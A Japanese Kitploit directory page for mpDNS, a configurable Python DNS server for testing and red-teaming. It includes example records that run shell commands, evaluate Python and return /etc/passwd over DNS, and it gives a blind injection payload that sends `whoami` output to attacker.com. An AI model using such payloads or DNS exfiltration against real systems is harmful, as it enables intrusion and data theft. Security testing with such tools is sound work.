Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mpDNS — 多目的DNSサーバー | Kitploit
ツール/GitHubGitHub/nopernik/mpdns
スクリプトと自動化データ流出情報収集ウェブセキュリティマルウェア分析ペネトレーションテストレッドチーミングDNS分析
GitHubnopernik/mpdns

mpDNS

多目的DNSサーバー

リポジトリを見る
144201年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

mpDNS 別名 マルチパーパスDNSサーバー

シンプルで設定可能な、多くの便利な機能を備えたDNSサーバー

  • Python 3
  • names.db -> すべてのカスタムレコードを保持(例を参照)
  • シンプルなワイルドカード(例: *.example.com)
  • Unicode DNSリクエストをキャッチ
  • カスタムアクション(別名マクロ):
    • {{shellexec::dig google.com +short}} -> シェルコマンドを実行し、結果で応答
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Pythonコードを評価
    • {{file::/etc/passwd}} -> ローカルファイルの内容で応答
    • {{filelist::/somefile.list}} -> 複数の結果を1行ずつ応答
    • {{resolve}} -> DNSリクエストをローカルシステムのDNSに転送
    • {{resolve::example.com}} -> 元のレコードの代わりにexample.comを解決
    • {{echo}} -> ピアアドレスで応答
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> 変数の使用
  • 詳細はnames.db.exampleを参照

主に基づく https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

クイックスタート

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

これで、names.db.example を基に names.db にDNSレコードを入力する準備が整いました。

Usage: ./mpdns.py

  • names.db を作成します。names.db.example を参照してください。
  • ./mpdns.py -e で names.db のDNSレコードを編集します。再起動は不要です。

攻撃的および防御的目的:

  1. テスト目的の軽量でシンプルなDNSサーバーソリューションが必要な場合(本番用ではありません!)
  2. Webアプリケーションのさまざまなブラインドインジェクション脆弱性のテスト(例: /ping.php?ip=$(dig $(whoami).attacker.com))
  3. 1回の TXT クエリで65KBのデータを簡単に潜り込ませる
  4. DNSリバインディング
  5. 特定のクエリでカスタムマクロアクションを実行(マルウェア解析ラボ環境で有用)
  6. その他多数。高度にカスタマイズ可能です。

制限事項

  1. UDPデータグラムの制限65535バイトのため、DNS応答は約65200バイトに制限されます。
    この制限は TXT レコードに適用され、応答が最大許容65200バイトに達するまで256バイトのチャンクに分割されます。
    したがって、マクロ {{file:localfile.txt}} を含む TXT レコードは65200バイトに制限されます。
  2. ネストされたワイルドカード test.*.example.com はサポートされていません
  3. {{resolve::example.com}} マクロでのカスタムDNSサーバーレゾルバはサポートされていません
  4. TTL は常に 0 に設定されます

例

names.db の例:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

names.db の例を使用した出力例:

DBからの通常解決: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

mpDNS出力: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


再帰的CNAME解決: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

mpDNS出力:

root@kitploit:~
- Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

ワイルドカード解決: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

mpDNS出力: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


ワイルドカードサブドメイン解決: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

mpDNS出力: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


転送リクエストマクロ: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

mpDNS出力: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


カスタムドメインマクロの転送: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

mpDNS出力: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


ファイル内容マクロ(TXTクエリ): dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

mpDNS出力: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


カスタムPythonコードマクロ(TXTクエリ): dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

mpDNS出力: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


シェルコマンドマクロ(TXTクエリ): dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

mpDNS出力: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


お楽しみください!

ツールをダウンロード